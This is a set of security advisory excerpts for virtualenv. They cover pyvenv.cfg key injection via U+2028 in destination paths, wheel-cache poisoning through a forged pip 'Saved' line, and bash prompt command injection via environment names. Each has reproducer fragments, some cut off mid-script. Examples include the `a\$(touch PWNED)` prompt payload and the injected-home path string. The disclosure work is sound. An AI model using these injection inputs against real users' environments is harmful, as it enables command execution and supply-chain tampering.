```text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile from virtualenv.seed.wheels.embed import get_embed_wheel companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network) bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}") pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json: json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json) # attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRROR_CODE_RAN" subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirror_wheel = f"{work}/mirror/pip/{bundled.name}" mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}") print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}") # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") a

## Summary The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization. Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Configuration readback by the stdlib venv creator. ## Attacker-controlled input An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path. ## Affected code The relevant 21.14.8 source is in [venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py), [configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py). ## Mechanism With `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with `str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a `command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path. ## Reproduction and evidence The scanner used one destination value with U+2028 between `home = /attacker/chosen`, `include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the value inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed` on the same value wrote separate injected configuration lines and its interpreter reported `sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone. The altered `home` can change which standard-library files the interpreter loads if an attacker also controls that location; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and rebuilds the final configuration from selected settings. ## Attack sequence ```mermaid sequenceDiagram participant A as Destination supplier participant S as stdlib venv participant V as virtualenv readback participant C as Final pyvenv.cfg participant P as Environment Python A->>S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys._home changes and isolation is disabled ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess work = "/tmp/repro-venv-creator-cfg" shutil.rmtree(work, ignore_errors=True) # the attacker's input: the text of a destination path. # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader. # The slashes only make nested directories; the last key, x, absorbs the rest of the path. LS = "\u2028" dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env" base_python = os.path.realpath(shutil.which("python")) real_home = os.path.dirname(base_python) def pyvenv_cfg_lines(env): # split on "\n" only, as the interpreter does return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n") def sys_home(env): # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"] return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip() # control: the same path through the standard library alone stdlib_env = dest + "-stdlib"

## Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Download selection and promotion into the reusable wheel cache. ## Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison. ## Affected code The relevant 21.14.8 source is in [wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py). ## Mechanism `download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again. ## Reproduction and evidence The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a forged `Saved <path>` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant. The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance. ## Attack sequence ```mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" app_data = home / ".cache" / "virtualenv" this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"] as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True} added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py def user_upgrades_seed_wheels_and_creates_env(): # each case starts from an empty app-data shutil.rmtree(app_data, ignore_errors=True) shutil.rmtree(home / "env", ignore_errors=True) upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True) pip_version = s

### Summary The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each time bash draws the prompt. ### Affected area `src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`. ### Attacker-controlled input The environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name. ### Details bash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\` into `\` and `\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before 21.13.0 do not escape the name at all. A bash running as root decodes `\$` to `#`, so the payload shows the wrong text there but runs nothing. zsh does no decode pass and is not affected. ### Proof of concept ```console $ virtualenv --prompt 'a\$(touch PWNED)' env $ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"' $ ls PWNED PWNED ``` ### Impact Arbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an attacker influenced, with that user's privileges, once per prompt draw. ### Versions tested 21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root. ### Known mitigation Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars` if your prompt does not need expansion. Check the name of an environment you did not create before you source its `activate`. ### Latest release - [x] The problem reproduces on the latest virtualenv release. 21.14.6 ### Patches Fixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs. Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932 ### Credits Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.